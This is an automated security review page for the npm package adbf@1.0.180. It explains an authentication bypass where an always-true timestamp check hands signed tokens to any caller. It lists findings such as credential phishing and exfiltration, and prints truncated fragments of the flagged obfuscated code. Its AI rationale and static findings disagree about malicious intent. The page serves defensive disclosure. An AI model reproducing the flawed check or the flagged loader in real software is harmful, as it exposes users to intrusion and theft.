adbf@1.0.180
adbf
AI Security Review
scanned 19d ago · by lpm-firewall-aiSource inspection establishes an authentication bypass warranting a warning, without establishing malicious intent. The available threat categories do not specifically represent authentication bypass.
Static reason
High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source
Trigger
Importing the package or running adbf starts the service; a remote caller submits a numeric value to the authentication endpoint.
Impact
Unauthenticated callers can obtain tokens and access routes intended to require authentication.
Mechanism
The timestamp acceptance condition always passes for numeric inputs, allowing callers to obtain signed tokens accepted by protected routes.
AI rationale
Source inspection establishes an authentication bypass warranting a warning, without establishing malicious intent. The available threat categories do not specifically represent authentication bypass.
Evidence
index.js
Decision evidence
public snapshotAI called this Suspicious at 94.0% confidence as Critical Vulnerability with low false-positive risk.
Evidence for warning
- The manifest exposes index.js and bin/adbf without install lifecycle hooks; the CLI imports the main entrypoint.
- The authentication handler accepts every numeric timestamp: its two time comparisons are joined with OR, making the acceptance condition always true.
- The accepted request receives a one-hour signed token using the same embedded key used by the authentication middleware.
- The server exempts /auth from authentication and mounts the token handler; protected routes rely on token verification.
Evidence against
- Inspected command execution and evaluation primitives belong to bundled library functionality; no concrete malware chain was established.
Behavioral surface
DynamicRequireEnvironmentVarsEvalFilesystem
HighEntropyStringsMinifiedObfuscatedUrlStrings
Source & flagged code
13 flagged · loading sourceindex.jsView file
1const a0_0x39dd52=a0_0x48f1;(function(_0x13a2a8,_0xcc0ed4){const _0x379ed1=a0_0x48f1,_0x2f9991=_0x13a2a8();while(!![]){try{const _0xa884ad=parseInt(_0x379ed1(0x4fc2))/0x1*(parseInt...
L2:
Critical
Command Output Exfiltration
Source executes local commands and sends command output to an external endpoint.
index.jsView on unpkg · L11const a0_0x39dd52=a0_0x48f1;(function(_0x13a2a8,_0xcc0ed4){const _0x379ed1=a0_0x48f1,_0x2f9991=_0x13a2a8();while(!![]){try{const _0xa884ad=parseInt(_0x379ed1(0x4fc2))/0x1*(parseInt...
L2:
Critical
Browser Credential Phishing
Source appears to collect browser login credentials for exfiltration.
index.jsView on unpkg · L11const a0_0x39dd52=a0_0x48f1;(function(_0x13a2a8,_0xcc0ed4){const _0x379ed1=a0_0x48f1,_0x2f9991=_0x13a2a8();while(!![]){try{const _0xa884ad=parseInt(_0x379ed1(0x4fc2))/0x1*(parseInt...
L2:
Critical
Remote Asset Decode Execute
Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.
index.jsView on unpkg · L1Findings
5 Critical7 High4 Medium4 Low
CriticalCommand Output Exfiltrationindex.js
CriticalBrowser Credential Phishingindex.js
CriticalRemote Asset Decode Executeindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
CriticalPrevious Version Dangerous Deltaindex.js
HighEvalindex.js
HighSame File Env Network Executionindex.js
HighCredential Redirect Persistenceindex.js
HighObfuscated Payload Loaderindex.js
HighTrigger Reachable Command Output Exfiltrationindex.js
HighObfuscated
HighSemantic Analysis Limitedindex.js
Medium
Affected versions and remediation
This report applies to adbf@1.0.180.
See all versions of adbf for other recorded verdicts.
- Review the evidence and your use of adbf@1.0.180 before allowing it. Restrict the permissions described in this report.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.